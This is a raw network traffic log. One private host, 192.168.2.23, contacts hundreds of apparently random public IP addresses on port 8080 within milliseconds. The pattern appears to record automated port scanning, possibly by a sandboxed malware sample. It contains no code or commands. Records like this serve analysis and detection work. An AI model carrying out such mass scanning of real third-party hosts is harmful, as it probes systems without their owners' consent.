Dec 26, 2023 21:22:46.609918118 CET	45469	8080	192.168.2.23	85.192.52.59
Dec 26, 2023 21:22:46.609927893 CET	45469	8080	192.168.2.23	31.106.192.200
Dec 26, 2023 21:22:46.609941959 CET	45469	8080	192.168.2.23	31.243.77.182
Dec 26, 2023 21:22:46.609941959 CET	45469	8080	192.168.2.23	62.146.37.142
Dec 26, 2023 21:22:46.609951973 CET	45469	8080	192.168.2.23	31.118.183.118
Dec 26, 2023 21:22:46.609958887 CET	45469	8080	192.168.2.23	94.203.224.33
Dec 26, 2023 21:22:46.609967947 CET	45469	8080	192.168.2.23	62.226.46.127
Dec 26, 2023 21:22:46.609987020 CET	45469	8080	192.168.2.23	62.80.134.254
Dec 26, 2023 21:22:46.609987974 CET	45469	8080	192.168.2.23	95.140.67.252
Dec 26, 2023 21:22:46.609987974 CET	45469	8080	192.168.2.23	31.19.255.248
Dec 26, 2023 21:22:46.609987974 CET	45469	8080	192.168.2.23	85.242.177.58
Dec 26, 2023 21:22:46.610002041 CET	45469	8080	192.168.2.23	94.241.103.191
Dec 26, 2023 21:22:46.610018015 CET	45469	8080	192.168.2.23	31.221.135.59
Dec 26, 2023 21:22:46.610019922 CET	45469	8080	192.168.2.23	95.5.248.53
Dec 26, 2023 21:22:46.610033035 CET	45469	8080	192.168.2.23	85.246.238.16
Dec 26, 2023 21:22:46.610034943 CET	45469	8080	192.168.2.23	31.233.187.203
Dec 26, 2023 21:22:46.610045910 CET	45469	8080	192.168.2.23	31.83.204.216
Dec 26, 2023 21:22:46.610045910 CET	45469	8080	192.168.2.23	94.107.92.231
Dec 26, 2023 21:22:46.610048056 CET	45469	8080	192.168.2.23	95.14.234.88
Dec 26, 2023 21:22:46.610057116 CET	45469	8080	192.168.2.23	94.76.223.84
Dec 26, 2023 21:22:46.610071898 CET	45469	8080	192.168.2.23	85.152.30.227
Dec 26, 2023 21:22:46.610085964 CET	45469	8080	192.168.2.23	62.6.238.51
Dec 26, 2023 21:22:46.610111952 CET	45469	8080	192.168.2.23	94.110.91.104
Dec 26, 2023 21:22:46.610122919 CET	45469	8080	192.168.2.23	94.140.16.96
Dec 26, 2023 21:22:46.610124111 CET	45469	8080	192.168.2.23	31.189.2.208
Dec 26, 2023 21:22:46.610132933 CET	45469	8080	192.168.2.23	95.243.247.255
Dec 26, 2023 21:22:46.610138893 CET	45469	8080	192.168.2.23	94.76.96.180
Dec 26, 2023 21:22:46.610141993 CET	45469	8080	192.168.2.23	62.73.243.58
Dec 26, 2023 21:22:46.610152006 CET	45469	8080	192.168.2.23	31.251.50.254
Dec 26, 2023 21:22:46.610168934 CET	45469	8080	192.168.2.23	95.73.160.6
Dec 26, 2023 21:22:46.610168934 CET	45469	8080	192.168.2.23	85.30.51.216
Dec 26, 2023 21:22:46.610176086 CET	45469	8080	192.168.2.23	31.29.35.146
Dec 26, 2023 21:22:46.610188961 CET	45469	8080	192.168.2.23	94.208.239.250
Dec 26, 2023 21:22:46.610203981 CET	45469	8080	192.168.2.23	62.80.219.72
Dec 26, 2023 21:22:46.610204935 CET	45469	8080	192.168.2.23	85.35.194.52
Dec 26, 2023 21:22:46.610214949 CET	45469	8080	192.168.2.23	31.110.124.238
Dec 26, 2023 21:22:46.610222101 CET	45469	8080	192.168.2.23	95.45.197.113
Dec 26, 2023 21:22:46.610234022 CET	45469	8080	192.168.2.23	31.3.97.56
Dec 26, 2023 21:22:46.610238075 CET	45469	8080	192.168.2.23	95.130.118.224
Dec 26, 2023 21:22:46.610256910 CET	45469	8080	192.168.2.23	85.175.68.72
Dec 26, 2023 21:22:46.610256910 CET	45469	8080	192.168.2.23	31.129.124.181
Dec 26, 2023 21:22:46.610256910 CET	45469	8080	192.168.2.23	85.37.139.163
Dec 26, 2023 21:22:46.610256910 CET	45469	8080	192.168.2.23	85.78.106.210
Dec 26, 2023 21:22:46.610265017 CET	45469	8080	192.168.2.23	62.172.89.112
Dec 26, 2023 21:22:46.610270023 CET	45469	8080	192.168.2.23	85.12.11.128
Dec 26, 2023 21:22:46.610272884 CET	45469	8080	192.168.2.23	95.47.145.222
Dec 26, 2023 21:22:46.610287905 CET	45469	8080	192.168.2.23	94.37.93.46
Dec 26, 2023 21:22:46.610297918 CET	45469	8080	192.168.2.23	31.34.50.93
Dec 26, 2023 21:22:46.610301018 CET	45469	8080	192.168.2.23	95.226.61.206
Dec 26, 2023 21:22:46.610312939 CET	45469	8080	192.168.2.23	94.10.99.72
Dec 26, 2023 21:22:46.610317945 CET	45469	8080	192.168.2.23	85.215.76.5
Dec 26, 2023 21:22:46.610332012 CET	45469	8080	192.168.2.23	85.39.27.183
Dec 26, 2023 21:22:46.610332012 CET	45469	8080	192.168.2.23	95.244.75.235
Dec 26, 2023 21:22:46.610344887 CET	45469	8080	192.168.2.23	85.146.14.129
Dec 26, 2023 21:22:46.610358000 CET	45469	8080	192.168.2.23	85.253.85.106
Dec 26, 2023 21:22:46.610369921 CET	45469	8080	192.168.2.23	31.209.34.51
Dec 26, 2023 21:22:46.610372066 CET	45469	8080	192.168.2.23	95.53.208.88
Dec 26, 2023 21:22:46.610375881 CET	45469	8080	192.168.2.23	85.89.237.139
Dec 26, 2023 21:22:46.610382080 CET	45469	8080	192.168.2.23	85.44.35.154
Dec 26, 2023 21:22:46.610382080 CET	45469	8080	192.168.2.23	85.239.219.174
Dec 26, 2023 21:22:46.610385895 CET	45469	8080	192.168.2.23	95.227.226.201
Dec 26, 2023 21:22:46.610397100 CET	45469	8080	192.168.2.23	85.223.87.182
Dec 26, 2023 21:22:46.610416889 CET	45469	8080	192.168.2.23	95.96.96.87
Dec 26, 2023 21:22:46.610420942 CET	45469	8080	192.168.2.23	95.219.186.178
Dec 26, 2023 21:22:46.610425949 CET	45469	8080	192.168.2.23	31.231.119.140
Dec 26, 2023 21:22:46.610431910 CET	45469	8080	192.168.2.23	85.116.193.120
Dec 26, 2023 21:22:46.610449076 CET	45469	8080	192.168.2.23	31.244.154.160
Dec 26, 2023 21:22:46.610470057 CET	45469	8080	192.168.2.23	94.153.242.197
Dec 26, 2023 21:22:46.610476017 CET	45469	8080	192.168.2.23	94.178.14.216
Dec 26, 2023 21:22:46.610477924 CET	45469	8080	192.168.2.23	62.6.174.142
Dec 26, 2023 21:22:46.610480070 CET	45469	8080	192.168.2.23	95.182.227.96
Dec 26, 2023 21:22:46.610496998 CET	45469	8080	192.168.2.23	85.166.100.143
Dec 26, 2023 21:22:46.610498905 CET	45469	8080	192.168.2.23	31.87.97.40
Dec 26, 2023 21:22:46.610498905 CET	45469	8080	192.168.2.23	95.141.95.250
Dec 26, 2023 21:22:46.610508919 CET	45469	8080	192.168.2.23	31.200.37.153
Dec 26, 2023 21:22:46.610515118 CET	45469	8080	192.168.2.23	85.13.99.96
Dec 26, 2023 21:22:46.610516071 CET	45469	8080	192.168.2.23	62.7.222.186
Dec 26, 2023 21:22:46.610522985 CET	45469	8080	192.168.2.23	31.129.69.40
Dec 26, 2023 21:22:46.610538006 CET	45469	8080	192.168.2.23	95.185.76.21
Dec 26, 2023 21:22:46.610547066 CET	45469	8080	192.168.2.23	31.130.222.132
Dec 26, 2023 21:22:46.610552073 CET	45469	8080	192.168.2.23	94.42.122.163
Dec 26, 2023 21:22:46.610552073 CET	45469	8080	192.168.2.23	94.154.54.111
Dec 26, 2023 21:22:46.610559940 CET	45469	8080	192.168.2.23	31.42.238.200
Dec 26, 2023 21:22:46.610559940 CET	45469	8080	192.168.2.23	94.203.182.215
Dec 26, 2023 21:22:46.610569954 CET	45469	8080	192.168.2.23	62.195.231.120
Dec 26, 2023 21:22:46.610573053 CET	45469	8080	192.168.2.23	62.19.194.98
Dec 26, 2023 21:22:46.610600948 CET	45469	8080	192.168.2.23	62.52.203.117
Dec 26, 2023 21:22:46.610621929 CET	45469	8080	192.168.2.23	95.116.132.73
Dec 26, 2023 21:22:46.610624075 CET	45469	8080	192.168.2.23	62.224.80.140
Dec 26, 2023 21:22:46.610624075 CET	45469	8080	192.168.2.23	85.72.244.178
Dec 26, 2023 21:22:46.610644102 CET	45469	8080	192.168.2.23	95.216.90.237
Dec 26, 2023 21:22:46.610644102 CET	45469	8080	192.168.2.23	85.119.231.43
Dec 26, 2023 21:22:46.610644102 CET	45469	8080	192.168.2.23	95.126.220.173
Dec 26, 2023 21:22:46.610647917 CET	45469	8080	192.168.2.23	95.112.160.199
Dec 26, 2023 21:22:46.610658884 CET	45469	8080	192.168.2.23	62.166.183.147
Dec 26, 2023 21:22:46.610662937 CET	45469	8080	192.168.2.23	95.87.87.17
Dec 26, 2023 21:22:46.610665083 CET	45469	8080	192.168.2.23	31.236.125.195
Dec 26, 2023 21:22:46.610676050 CET	45469	8080	192.168.2.23	62.158.169.30
Dec 26, 2023 21:22:46.610682011 CET	45469	8080	192.168.2.23	94.68.137.229
Dec 26, 2023 21:22:46.610683918 CET	45469	8080	192.168.2.23	85.154.111.153
Dec 26, 2023 21:22:46.610694885 CET	45469	8080	192.168.2.23	95.53.192.8
Dec 26, 2023 21:22:46.610704899 CET	45469	8080	192.168.2.23	95.240.194.163
Dec 26, 2023 21:22:46.610707045 CET	45469	8080	192.168.2.23	95.123.163.189
Dec 26, 2023 21:22:46.610724926 CET	45469	8080	192.168.2.23	85.28.167.171
Dec 26, 2023 21:22:46.610724926 CET	45469	8080	192.168.2.23	85.3.152.188
Dec 26, 2023 21:22:46.610745907 CET	45469	8080	192.168.2.23	31.62.231.141
Dec 26, 2023 21:22:46.610754967 CET	45469	8080	192.168.2.23	85.47.68.218
Dec 26, 2023 21:22:46.610754967 CET	45469	8080	192.168.2.23	85.83.80.121
Dec 26, 2023 21:22:46.610760927 CET	45469	8080	192.168.2.23	94.97.45.197
Dec 26, 2023 21:22:46.610768080 CET	45469	8080	192.168.2.23	62.154.163.2
Dec 26, 2023 21:22:46.610776901 CET	45469	8080	192.168.2.23	95.56.74.5
Dec 26, 2023 21:22:46.610788107 CET	45469	8080	192.168.2.23	85.198.145.111
Dec 26, 2023 21:22:46.610788107 CET	45469	8080	192.168.2.23	62.60.134.204
Dec 26, 2023 21:22:46.610795021 CET	45469	8080	192.168.2.23	31.207.3.178
Dec 26, 2023 21:22:46.610797882 CET	45469	8080	192.168.2.23	31.87.65.121
Dec 26, 2023 21:22:46.610814095 CET	45469	8080	192.168.2.23	85.82.223.215
Dec 26, 2023 21:22:46.610819101 CET	45469	8080	192.168.2.23	85.252.198.232
Dec 26, 2023 21:22:46.610832930 CET	45469	8080	192.168.2.23	31.100.168.138
Dec 26, 2023 21:22:46.610833883 CET	45469	8080	192.168.2.23	94.164.237.75
Dec 26, 2023 21:22:46.610833883 CET	45469	8080	192.168.2.23	95.215.67.172
Dec 26, 2023 21:22:46.610855103 CET	45469	8080	192.168.2.23	94.198.23.32
Dec 26, 2023 21:22:46.610855103 CET	45469	8080	192.168.2.23	85.193.43.202
Dec 26, 2023 21:22:46.610856056 CET	45469	8080	192.168.2.23	85.85.112.250
Dec 26, 2023 21:22:46.610857010 CET	45469	8080	192.168.2.23	94.236.220.154
Dec 26, 2023 21:22:46.610871077 CET	45469	8080	192.168.2.23	31.145.156.164
Dec 26, 2023 21:22:46.610884905 CET	45469	8080	192.168.2.23	95.123.184.135
Dec 26, 2023 21:22:46.610899925 CET	45469	8080	192.168.2.23	94.12.140.235
Dec 26, 2023 21:22:46.610903978 CET	45469	8080	192.168.2.23	94.205.236.144
Dec 26, 2023 21:22:46.610913038 CET	45469	8080	192.168.2.23	62.84.143.244
Dec 26, 2023 21:22:46.610920906 CET	45469	8080	192.168.2.23	62.4.41.162
Dec 26, 2023 21:22:46.610923052 CET	45469	8080	192.168.2.23	62.156.143.46
Dec 26, 2023 21:22:46.610923052 CET	45469	8080	192.168.2.23	31.163.68.59
Dec 26, 2023 21:22:46.610930920 CET	45469	8080	192.168.2.23	62.215.144.212
Dec 26, 2023 21:22:46.610943079 CET	45469	8080	192.168.2.23	95.147.43.197
Dec 26, 2023 21:22:46.610946894 CET	45469	8080	192.168.2.23	62.178.30.65
Dec 26, 2023 21:22:46.610970020 CET	45469	8080	192.168.2.23	95.118.124.141
Dec 26, 2023 21:22:46.610975981 CET	45469	8080	192.168.2.23	31.244.81.220
Dec 26, 2023 21:22:46.610979080 CET	45469	8080	192.168.2.23	95.105.119.52
Dec 26, 2023 21:22:46.610985041 CET	45469	8080	192.168.2.23	94.156.209.233
Dec 26, 2023 21:22:46.610987902 CET	45469	8080	192.168.2.23	85.247.125.121
Dec 26, 2023 21:22:46.610990047 CET	45469	8080	192.168.2.23	62.236.186.88
Dec 26, 2023 21:22:46.611011982 CET	45469	8080	192.168.2.23	62.92.225.160
Dec 26, 2023 21:22:46.611011982 CET	45469	8080	192.168.2.23	31.199.34.121
Dec 26, 2023 21:22:46.611011982 CET	45469	8080	192.168.2.23	95.78.254.225
Dec 26, 2023 21:22:46.611016035 CET	45469	8080	192.168.2.23	62.155.103.27
Dec 26, 2023 21:22:46.611036062 CET	45469	8080	192.168.2.23	95.243.92.2
Dec 26, 2023 21:22:46.611036062 CET	45469	8080	192.168.2.23	85.39.0.208
Dec 26, 2023 21:22:46.611052036 CET	45469	8080	192.168.2.23	85.32.55.36
Dec 26, 2023 21:22:46.611052036 CET	45469	8080	192.168.2.23	85.99.86.243
Dec 26, 2023 21:22:46.611068964 CET	45469	8080	192.168.2.23	85.164.101.46
Dec 26, 2023 21:22:46.611073971 CET	45469	8080	192.168.2.23	95.222.96.69
Dec 26, 2023 21:22:46.611083984 CET	45469	8080	192.168.2.23	62.147.126.183
Dec 26, 2023 21:22:46.611084938 CET	45469	8080	192.168.2.23	95.186.210.70
Dec 26, 2023 21:22:46.611084938 CET	45469	8080	192.168.2.23	95.142.68.40
Dec 26, 2023 21:22:46.611085892 CET	45469	8080	192.168.2.23	95.121.26.29
Dec 26, 2023 21:22:46.611085892 CET	45469	8080	192.168.2.23	62.18.98.54
Dec 26, 2023 21:22:46.611085892 CET	45469	8080	192.168.2.23	62.177.126.3
Dec 26, 2023 21:22:46.611105919 CET	45469	8080	192.168.2.23	95.148.7.15
Dec 26, 2023 21:22:46.611112118 CET	45469	8080	192.168.2.23	31.166.45.165
Dec 26, 2023 21:22:46.611125946 CET	45469	8080	192.168.2.23	62.179.29.72
Dec 26, 2023 21:22:46.611125946 CET	45469	8080	192.168.2.23	95.25.70.25
Dec 26, 2023 21:22:46.611125946 CET	45469	8080	192.168.2.23	62.149.158.72
Dec 26, 2023 21:22:46.611133099 CET	45469	8080	192.168.2.23	95.145.195.32
Dec 26, 2023 21:22:46.611156940 CET	45469	8080	192.168.2.23	95.182.165.86
Dec 26, 2023 21:22:46.611156940 CET	45469	8080	192.168.2.23	95.82.188.115
Dec 26, 2023 21:22:46.611166000 CET	45469	8080	192.168.2.23	94.201.196.70
Dec 26, 2023 21:22:46.611166954 CET	45469	8080	192.168.2.23	62.80.170.177
Dec 26, 2023 21:22:46.611166954 CET	45469	8080	192.168.2.23	95.248.34.80
Dec 26, 2023 21:22:46.611182928 CET	45469	8080	192.168.2.23	94.196.0.1
Dec 26, 2023 21:22:46.611202002 CET	45469	8080	192.168.2.23	31.118.0.170
Dec 26, 2023 21:22:46.611213923 CET	45469	8080	192.168.2.23	95.29.225.137
Dec 26, 2023 21:22:46.611222982 CET	45469	8080	192.168.2.23	62.220.17.199
Dec 26, 2023 21:22:46.611224890 CET	45469	8080	192.168.2.23	94.118.38.216
Dec 26, 2023 21:22:46.611232996 CET	45469	8080	192.168.2.23	94.0.178.126
Dec 26, 2023 21:22:46.611246109 CET	45469	8080	192.168.2.23	62.95.32.42
Dec 26, 2023 21:22:46.611253023 CET	45469	8080	192.168.2.23	85.173.68.173
Dec 26, 2023 21:22:46.611257076 CET	45469	8080	192.168.2.23	95.245.103.130
Dec 26, 2023 21:22:46.611279011 CET	45469	8080	192.168.2.23	94.124.53.106
Dec 26, 2023 21:22:46.611279011 CET	45469	8080	192.168.2.23	85.111.183.102
Dec 26, 2023 21:22:46.611290932 CET	45469	8080	192.168.2.23	85.111.98.2
Dec 26, 2023 21:22:46.611291885 CET	45469	8080	192.168.2.23	85.97.63.71
Dec 26, 2023 21:22:46.611296892 CET	45469	8080	192.168.2.23	94.8.148.86
Dec 26, 2023 21:22:46.611299992 CET	45469	8080	192.168.2.23	95.130.169.174
Dec 26, 2023 21:22:46.611306906 CET	45469	8080	192.168.2.23	31.240.166.103
Dec 26, 2023 21:22:46.611314058 CET	45469	8080	192.168.2.23	31.218.167.204
Dec 26, 2023 21:22:46.611315012 CET	45469	8080	192.168.2.23	62.80.7.33
Dec 26, 2023 21:22:46.611337900 CET	45469	8080	192.168.2.23	94.18.105.173
Dec 26, 2023 21:22:46.611345053 CET	45469	8080	192.168.2.23	62.202.75.67
Dec 26, 2023 21:22:46.611345053 CET	45469	8080	192.168.2.23	85.46.168.74
Dec 26, 2023 21:22:46.611367941 CET	45469	8080	192.168.2.23	95.134.197.147
Dec 26, 2023 21:22:46.611367941 CET	45469	8080	192.168.2.23	95.75.108.147
Dec 26, 2023 21:22:46.611372948 CET	45469	8080	192.168.2.23	94.190.205.17
Dec 26, 2023 21:22:46.611381054 CET	45469	8080	192.168.2.23	31.14.37.253
Dec 26, 2023 21:22:46.611391068 CET	45469	8080	192.168.2.23	62.87.24.218
Dec 26, 2023 21:22:46.611391068 CET	45469	8080	192.168.2.23	95.147.177.48
Dec 26, 2023 21:22:46.611391068 CET	45469	8080	192.168.2.23	94.46.184.123
Dec 26, 2023 21:22:46.611393929 CET	45469	8080	192.168.2.23	94.229.248.155
Dec 26, 2023 21:22:46.611413956 CET	45469	8080	192.168.2.23	95.62.143.91
Dec 26, 2023 21:22:46.611424923 CET	45469	8080	192.168.2.23	95.63.177.171
Dec 26, 2023 21:22:46.611426115 CET	45469	8080	192.168.2.23	94.55.40.164
Dec 26, 2023 21:22:46.611438990 CET	45469	8080	192.168.2.23	85.246.211.53
Dec 26, 2023 21:22:46.611438990 CET	45469	8080	192.168.2.23	62.253.54.119
Dec 26, 2023 21:22:46.611443996 CET	45469	8080	192.168.2.23	31.46.151.151
Dec 26, 2023 21:22:46.611447096 CET	45469	8080	192.168.2.23	95.135.51.246
Dec 26, 2023 21:22:46.611454010 CET	45469	8080	192.168.2.23	85.145.115.245
Dec 26, 2023 21:22:46.611469984 CET	45469	8080	192.168.2.23	31.122.47.5
Dec 26, 2023 21:22:46.611470938 CET	45469	8080	192.168.2.23	85.73.225.29
Dec 26, 2023 21:22:46.611481905 CET	45469	8080	192.168.2.23	85.99.161.247
Dec 26, 2023 21:22:46.611489058 CET	45469	8080	192.168.2.23	85.202.185.134
Dec 26, 2023 21:22:46.611491919 CET	45469	8080	192.168.2.23	85.71.129.43
Dec 26, 2023 21:22:46.611498117 CET	45469	8080	192.168.2.23	62.238.76.224
Dec 26, 2023 21:22:46.611500978 CET	45469	8080	192.168.2.23	94.216.49.68
Dec 26, 2023 21:22:46.611500978 CET	45469	8080	192.168.2.23	95.210.51.225
Dec 26, 2023 21:22:46.611512899 CET	45469	8080	192.168.2.23	85.43.19.235
Dec 26, 2023 21:22:46.611527920 CET	45469	8080	192.168.2.23	95.141.7.214
Dec 26, 2023 21:22:46.611540079 CET	45469	8080	192.168.2.23	94.123.30.142
Dec 26, 2023 21:22:46.611546993 CET	45469	8080	192.168.2.23	31.155.156.77
Dec 26, 2023 21:22:46.611567020 CET	45469	8080	192.168.2.23	95.172.181.101
Dec 26, 2023 21:22:46.611579895 CET	45469	8080	192.168.2.23	62.59.134.138
Dec 26, 2023 21:22:46.611579895 CET	45469	8080	192.168.2.23	62.113.155.218
Dec 26, 2023 21:22:46.611593962 CET	45469	8080	192.168.2.23	62.225.216.104
Dec 26, 2023 21:22:46.611609936 CET	45469	8080	192.168.2.23	95.3.43.15
Dec 26, 2023 21:22:46.611610889 CET	45469	8080	192.168.2.23	85.166.101.201
Dec 26, 2023 21:22:46.611623049 CET	45469	8080	192.168.2.23	62.194.226.166
Dec 26, 2023 21:22:46.611643076 CET	45469	8080	192.168.2.23	85.22.231.157
Dec 26, 2023 21:22:46.611651897 CET	45469	8080	192.168.2.23	95.143.176.121
Dec 26, 2023 21:22:46.611661911 CET	45469	8080	192.168.2.23	62.6.40.3
Dec 26, 2023 21:22:46.611663103 CET	45469	8080	192.168.2.23	85.247.67.59
Dec 26, 2023 21:22:46.611673117 CET	45469	8080	192.168.2.23	95.33.243.19
Dec 26, 2023 21:22:46.611673117 CET	45469	8080	192.168.2.23	85.151.80.174
Dec 26, 2023 21:22:46.611679077 CET	45469	8080	192.168.2.23	62.149.198.195
Dec 26, 2023 21:22:46.611706972 CET	45469	8080	192.168.2.23	85.147.209.54
Dec 26, 2023 21:22:46.611706972 CET	45469	8080	192.168.2.23	95.131.153.59
Dec 26, 2023 21:22:46.611706972 CET	45469	8080	192.168.2.23	94.3.37.20
Dec 26, 2023 21:22:46.611720085 CET	45469	8080	192.168.2.23	95.194.8.31
Dec 26, 2023 21:22:46.611726046 CET	45469	8080	192.168.2.23	31.107.238.102
Dec 26, 2023 21:22:46.611726046 CET	45469	8080	192.168.2.23	31.196.165.48
Dec 26, 2023 21:22:46.611742020 CET	45469	8080	192.168.2.23	62.226.57.118
Dec 26, 2023 21:22:46.611743927 CET	45469	8080	192.168.2.23	94.17.166.23
Dec 26, 2023 21:22:46.611749887 CET	45469	8080	192.168.2.23	85.82.43.173
Dec 26, 2023 21:22:46.611752033 CET	45469	8080	192.168.2.23	31.138.212.225
Dec 26, 2023 21:22:46.611752033 CET	45469	8080	192.168.2.23	95.38.176.209
Dec 26, 2023 21:22:46.611761093 CET	45469	8080	192.168.2.23	31.96.105.188
Dec 26, 2023 21:22:46.611779928 CET	45469	8080	192.168.2.23	95.239.25.30
Dec 26, 2023 21:22:46.611779928 CET	45469	8080	192.168.2.23	85.65.88.79
Dec 26, 2023 21:22:46.611798048 CET	45469	8080	192.168.2.23	31.138.226.169
Dec 26, 2023 21:22:46.611818075 CET	45469	8080	192.168.2.23	62.33.34.249
Dec 26, 2023 21:22:46.611831903 CET	45469	8080	192.168.2.23	95.11.72.141
Dec 26, 2023 21:22:46.611835003 CET	45469	8080	192.168.2.23	95.198.80.176
Dec 26, 2023 21:22:46.611835003 CET	45469	8080	192.168.2.23	62.38.91.86
Dec 26, 2023 21:22:46.611835003 CET	45469	8080	192.168.2.23	85.38.189.16
Dec 26, 2023 21:22:46.611849070 CET	45469	8080	192.168.2.23	31.221.91.67
Dec 26, 2023 21:22:46.611860037 CET	45469	8080	192.168.2.23	31.211.68.241
Dec 26, 2023 21:22:46.611866951 CET	45469	8080	192.168.2.23	31.149.47.42
Dec 26, 2023 21:22:46.611866951 CET	45469	8080	192.168.2.23	94.2.150.127
Dec 26, 2023 21:22:46.611869097 CET	45469	8080	192.168.2.23	95.109.87.150
Dec 26, 2023 21:22:46.611886024 CET	45469	8080	192.168.2.23	85.164.197.31
Dec 26, 2023 21:22:46.611891985 CET	45469	8080	192.168.2.23	94.22.158.202
Dec 26, 2023 21:22:46.611898899 CET	45469	8080	192.168.2.23	95.180.36.66
Dec 26, 2023 21:22:46.611907959 CET	45469	8080	192.168.2.23	94.125.125.236
Dec 26, 2023 21:22:46.611912012 CET	45469	8080	192.168.2.23	85.85.251.62
Dec 26, 2023 21:22:46.611912012 CET	45469	8080	192.168.2.23	94.150.87.9
Dec 26, 2023 21:22:46.611912966 CET	45469	8080	192.168.2.23	31.64.77.58
Dec 26, 2023 21:22:46.611917019 CET	45469	8080	192.168.2.23	85.19.129.218
Dec 26, 2023 21:22:46.611923933 CET	45469	8080	192.168.2.23	85.238.168.104
Dec 26, 2023 21:22:46.611929893 CET	45469	8080	192.168.2.23	94.13.151.192
Dec 26, 2023 21:22:46.611948013 CET	45469	8080	192.168.2.23	94.170.109.224
Dec 26, 2023 21:22:46.611983061 CET	45469	8080	192.168.2.23	94.67.10.216
Dec 26, 2023 21:22:46.611984968 CET	45469	8080	192.168.2.23	95.169.57.197
Dec 26, 2023 21:22:46.612000942 CET	45469	8080	192.168.2.23	85.148.72.216
Dec 26, 2023 21:22:46.612000942 CET	45469	8080	192.168.2.23	94.33.107.122
Dec 26, 2023 21:22:46.612003088 CET	45469	8080	192.168.2.23	94.82.68.210
Dec 26, 2023 21:22:46.612003088 CET	45469	8080	192.168.2.23	94.193.146.252
Dec 26, 2023 21:22:46.612015963 CET	45469	8080	192.168.2.23	31.123.40.156
Dec 26, 2023 21:22:46.612029076 CET	45469	8080	192.168.2.23	95.115.147.125
Dec 26, 2023 21:22:46.612042904 CET	45469	8080	192.168.2.23	85.165.94.88
Dec 26, 2023 21:22:46.612049103 CET	45469	8080	192.168.2.23	94.106.221.131
Dec 26, 2023 21:22:46.612061977 CET	45469	8080	192.168.2.23	62.157.227.180
Dec 26, 2023 21:22:46.612080097 CET	45469	8080	192.168.2.23	31.67.49.247
Dec 26, 2023 21:22:46.612082005 CET	45469	8080	192.168.2.23	95.19.51.28
Dec 26, 2023 21:22:46.612092018 CET	45469	8080	192.168.2.23	62.194.57.19
Dec 26, 2023 21:22:46.612101078 CET	45469	8080	192.168.2.23	31.185.174.129
Dec 26, 2023 21:22:46.612103939 CET	45469	8080	192.168.2.23	31.255.234.193
Dec 26, 2023 21:22:46.612103939 CET	45469	8080	192.168.2.23	62.232.53.83
Dec 26, 2023 21:22:46.612112045 CET	45469	8080	192.168.2.23	85.142.164.63
Dec 26, 2023 21:22:46.612112045 CET	45469	8080	192.168.2.23	85.156.188.120
Dec 26, 2023 21:22:46.612121105 CET	45469	8080	192.168.2.23	85.28.160.18
Dec 26, 2023 21:22:46.612127066 CET	45469	8080	192.168.2.23	94.62.17.79
Dec 26, 2023 21:22:46.612143040 CET	45469	8080	192.168.2.23	62.244.47.244
Dec 26, 2023 21:22:46.612154961 CET	45469	8080	192.168.2.23	85.159.144.185
Dec 26, 2023 21:22:46.612154961 CET	45469	8080	192.168.2.23	94.23.68.60
Dec 26, 2023 21:22:46.612159967 CET	45469	8080	192.168.2.23	62.14.93.244
Dec 26, 2023 21:22:46.612171888 CET	45469	8080	192.168.2.23	62.235.153.78
Dec 26, 2023 21:22:46.612174988 CET	45469	8080	192.168.2.23	94.240.43.232
Dec 26, 2023 21:22:46.612190008 CET	45469	8080	192.168.2.23	62.187.18.121
Dec 26, 2023 21:22:46.612198114 CET	45469	8080	192.168.2.23	31.102.218.220
Dec 26, 2023 21:22:46.612207890 CET	45469	8080	192.168.2.23	62.197.158.90
Dec 26, 2023 21:22:46.612216949 CET	45469	8080	192.168.2.23	31.66.167.6
Dec 26, 2023 21:22:46.612217903 CET	45469	8080	192.168.2.23	62.165.249.58
Dec 26, 2023 21:22:46.612221003 CET	45469	8080	192.168.2.23	85.31.95.47
Dec 26, 2023 21:22:46.612231016 CET	45469	8080	192.168.2.23	85.165.154.163
Dec 26, 2023 21:22:46.612247944 CET	45469	8080	192.168.2.23	85.156.214.106
Dec 26, 2023 21:22:46.612248898 CET	45469	8080	192.168.2.23	62.219.66.111
Dec 26, 2023 21:22:46.612258911 CET	45469	8080	192.168.2.23	62.58.44.138
Dec 26, 2023 21:22:46.612267017 CET	45469	8080	192.168.2.23	94.254.86.52
Dec 26, 2023 21:22:46.612267971 CET	45469	8080	192.168.2.23	31.211.66.180
Dec 26, 2023 21:22:46.612278938 CET	45469	8080	192.168.2.23	62.130.113.24
Dec 26, 2023 21:22:46.612291098 CET	45469	8080	192.168.2.23	94.136.30.52
Dec 26, 2023 21:22:46.612291098 CET	45469	8080	192.168.2.23	85.134.7.94
Dec 26, 2023 21:22:46.612293005 CET	45469	8080	192.168.2.23	62.106.21.70
Dec 26, 2023 21:22:46.612302065 CET	45469	8080	192.168.2.23	85.39.149.157
Dec 26, 2023 21:22:46.612302065 CET	45469	8080	192.168.2.23	31.19.26.183
Dec 26, 2023 21:22:46.612313986 CET	45469	8080	192.168.2.23	94.87.243.91
Dec 26, 2023 21:22:46.612315893 CET	45469	8080	192.168.2.23	62.189.217.19
Dec 26, 2023 21:22:46.612327099 CET	45469	8080	192.168.2.23	94.36.242.232
Dec 26, 2023 21:22:46.612334967 CET	45469	8080	192.168.2.23	62.66.45.1
Dec 26, 2023 21:22:46.612338066 CET	45469	8080	192.168.2.23	62.221.109.129
Dec 26, 2023 21:22:46.612358093 CET	45469	8080	192.168.2.23	62.172.208.184
Dec 26, 2023 21:22:46.612358093 CET	45469	8080	192.168.2.23	95.151.143.47
Dec 26, 2023 21:22:46.612360954 CET	45469	8080	192.168.2.23	31.32.158.17
Dec 26, 2023 21:22:46.612360954 CET	45469	8080	192.168.2.23	62.24.79.173
Dec 26, 2023 21:22:46.612375975 CET	45469	8080	192.168.2.23	62.60.174.105
Dec 26, 2023 21:22:46.612392902 CET	45469	8080	192.168.2.23	95.185.75.184
Dec 26, 2023 21:22:46.612392902 CET	45469	8080	192.168.2.23	95.65.71.91
Dec 26, 2023 21:22:46.612397909 CET	45469	8080	192.168.2.23	31.152.126.183
Dec 26, 2023 21:22:46.612401009 CET	45469	8080	192.168.2.23	31.143.68.228
Dec 26, 2023 21:22:46.612409115 CET	45469	8080	192.168.2.23	62.90.157.59
Dec 26, 2023 21:22:46.612421989 CET	45469	8080	192.168.2.23	85.126.81.88
Dec 26, 2023 21:22:46.612423897 CET	45469	8080	192.168.2.23	85.55.252.187
Dec 26, 2023 21:22:46.612438917 CET	45469	8080	192.168.2.23	94.209.115.151
Dec 26, 2023 21:22:46.612442970 CET	45469	8080	192.168.2.23	95.87.71.137
Dec 26, 2023 21:22:46.612452984 CET	45469	8080	192.168.2.23	94.175.89.186
Dec 26, 2023 21:22:46.612466097 CET	45469	8080	192.168.2.23	62.70.36.36
